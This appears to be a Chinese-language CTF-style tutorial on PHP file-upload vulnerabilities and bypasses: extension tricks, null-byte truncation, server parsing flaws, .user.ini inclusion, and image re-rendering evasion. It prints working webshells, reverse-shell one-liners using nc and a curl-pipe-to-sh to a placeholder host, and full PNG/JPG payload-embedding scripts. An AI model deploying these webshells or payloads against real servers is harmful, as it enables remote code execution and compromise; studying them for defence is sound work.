Web_4_PHP文件上传
Charmersix

第一节 php文件上传

0x1 php文件上传机制

php使用临时文件移动的方式来上传文件,通过$_FILES数组包含文件信息,在PHP脚本处理过程中,对已经存在在临时目录的/tmp/php??????文件使用move_uploaded_file函数来移动到新的位置。

文件上传信息包含的数组$_FILES数组中,是支持多文件同时上传的。默认情况下,上传的名字为file,所以我们可以在$_FILES['file']这个数组中获得,我们可以获得以下信息

  • $_FILES['file']['name']获得上传文件的原始文件名
  • $_FILES['file']['tmp_name']上传的文件在临时目录中的文件名
  • $_FILES['file']['size']上传文件的大小,单位为字节
  • $_FILES['file']['type']上传文件的类型

0x2 文件上传的例子

文件上传表单

表单是一种HTML代码,表示向某个地址发送一个或多个数据,数据格式可以分为几种

get表单数据附加在url后

post表单将数据附加到http包中,发送的数据是经过url编码过的

raw表单将数据直接附加到http请求包中,不存在键值对,直接是数据,常见的方式是file_get_contents("php://input")这种请求是和post表单互斥的

json表单类型为application/json,常见于api接口

文件上传的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>

<head>
<title>文件上传</title>
<meta charset="utf-8">
</head>
<body>
<form action="upload.php" enctype="multipart/form-data" method="post">
<input type="file" name="file">
<input type="submit" value="上传">
</form>

</body>

</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$tmp_file = $_FILES['file']['tmp_name'];

$dist_file = "./upload/". $_FILES['file']['name'];

if(move_uploaded_file($tmp_file,$dist_file))
{
echo "文件上传成功";
}
else{
echo "文件上传失败";
}
?>

文件上传的成因

由于历史原因,早期服务器比较贵,用户上传的文件只能存放在web目录

0x3 文件上传可能存在的漏洞

文件上传本质就是对服务器文件系统写操作,就有可能执行我们写入的恶意代码

文件上传后缀黑名单过滤

某些配置文件为了兼容老版本的php代码,也会解析php3,php5,phtml

php文件上传的00截断

123.php%00.jpg保存时.jpg会被截断舍弃,但是只有PHP版本小于5.3.4才存在此漏洞

iconv字符转换异常造成截断

5.4以上版本已经修复

文件后缀白名单过滤

web服务器解析漏洞
IIS解析漏洞

Windows系统下一般使用ISS作为web服务器,比较老版本会解析目录名字为xxx.asp等字符构成的目录。

nginx解析漏洞

nginx配置错误

nginx会将后缀为123.txt/123.php的uri请求匹配到,误认为是php后缀

Apache解析漏洞

如果上传1.php被禁止,可以上传1.php.charmersix ,charmersix后缀不识别,就会继续往前识别后缀。

0x4文件上传高级利用

配置文件绕过

.htaccess配置文件
.user.ini配置文件

auto_append_file=1.txt

使用auto_append_file参数来包含进行当前的php文件一起执行。

.user.ini自动附加文件时,当前目录必须要有php文件

配置文件必须要有php文件才能生效

直接访问首页,即可执行一句话木马

文件内容检测

<?php , system , eval , $_GET, $_POST如果这些函数被禁用,即文件中带有这些函数的文件都无法上传,我们可以使用cookie传输数据,或者用nc反弹shell

1.用cookie传输数据

1
<?=`$_COOKIE[1]`;

`文件上传,然后cookie传输

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b"|base64 -d>1.php

再连接1.php

image-20220911210914228

2.反弹shell

1
2
<?= `nc ip port -e /bin/sh`;
<?= `curl curl https://your-shell.com/ip:port |sh`;

3.使用php伪协议,文件包含

auto_append_file=php://input

4.日志包含

auto_append_file=/var/log/nginx/access.log

注意.user.ini内容的文件名

文件上传与XSS

图片上传

getimagesize绕过

扫描图片中是否存在高宽,如果存在就认为正常

1
2
3
#define height 100
#define width 100
<?php eval($_POST['1']);?>
png二次渲染绕过

直接生成一个新图片,清洗掉原来的恶意代码

这里我们用脚本写一个恶意代码不会被清洗的图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/

?>
jpg二次渲染绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<?php
$miniPayload = "<?php system('tac f*');?>";


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法 php exp.php a.png

我们来一个jpg二次渲染绕过的专用图片

jpg_xr

配合文件包含

image-20220911221130575

  • 文件上传最容易出现代码执行和命令执行,且危害巨大
  • 配置文件.user.ini中,auto_append_file参数不仅可以写文件名,也可以是伪协议和nginx日志
  • getimagesize函数可以通过#define width 100来绕过
  • png和jpg二次渲染后,仍可能保留恶意代码
 Comments